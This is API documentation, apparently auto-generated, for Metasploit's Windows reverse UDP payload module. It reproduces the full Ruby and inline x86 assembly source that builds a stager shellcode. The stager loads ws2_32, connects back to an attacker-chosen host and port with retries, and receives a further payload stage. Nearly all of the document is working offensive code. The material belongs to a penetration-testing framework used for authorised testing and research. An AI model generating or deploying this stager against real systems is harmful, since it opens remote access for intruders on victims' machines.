Module: Msf::Payload::Windows::ReverseUdp

Includes:
TransportConfig, ReverseTcp
Defined in:
lib/msf/core/payload/windows/reverse_udp.rb

Overview

Complex reverse_udp payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from ReverseTcp

#asm_block_recv, #asm_reverse_tcp, #generate_reverse_tcp, #include_send_uuid, #initialize, #required_space

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_reverse_udp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Fixnum)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :retry_count (Fixnum)

    Number of retry attempts


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# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 67

def asm_reverse_udp(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
  encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the socket for the connection to the server
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    reverse_udp:
      push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 'ws2_'             ; ...
      push esp                ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp                ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
      sub esp, eax            ; alloc some space for the WSAData structure
      push esp                ; push a pointer to this stuct
      push eax                ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp                ; WSAStartup( 0x0190, &WSAData );

    set_address:
      push #{retry_count}     ; retry counter

    create_socket:
      push #{encoded_host}    ; host in little-endian format - #{opts[:host]}
      push #{encoded_port}    ; family AF_INET and port number - #{opts[:port]}
      mov esi, esp            ; save pointer to sockaddr struct

      push eax                ; if we succeed, eax will be zero, push zero for the flags param.
      push eax                ; push null for reserved parameter
      push eax                ; we do not specify a WSAPROTOCOL_INFO structure
      push eax                ; we do not specify a protocol
      inc eax                 ;
      inc eax                 ;
      push eax                ; push SOCK_DGRAM (UDP socket)
      push eax                ; push AF_INET
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp                ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 );
      xchg edi, eax           ; save the socket for later, don't care about the value of eax after this

    try_connect:
      push 16                 ; length of the sockaddr struct
      push esi                ; pointer to the sockaddr struct
      push edi                ; the socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call ebp                ; connect( s, &sockaddr, 16 );

      test eax,eax            ; non-zero means a failure
      jz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec [esi+8]
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this  lable is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^

  # UDP receivers need to read something from the new socket
  if include_send_uuid
    asm << asm_send_uuid
  else
    asm << asm_send_newline
  end

  asm
end

#asm_send_newlineObject


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# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 157

def asm_send_newline
  newline = raw_to_db "\n"
  asm =%Q^
    send_newline:
      push 0                 ; flags
      push #{newline.length} ; length of the newline
      call get_nl_address    ; put newline buffer on the stack
      db #{newline}          ; newline
    get_nl_address:
      push edi               ; saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
      call ebp               ; call send
  ^
  asm
end

#generateObject

Generate the first stage


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# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 23

def generate
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  unless self.available_space.nil? || required_space > self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_udp(conf)
end

#generate_reverse_udp(opts = {}) ⇒ Object

Generate and compile the stager


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# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 47

def generate_reverse_udp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_udp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#transport_config(opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 40

def transport_config(opts={})
  transport_config_reverse_udp(opts)
end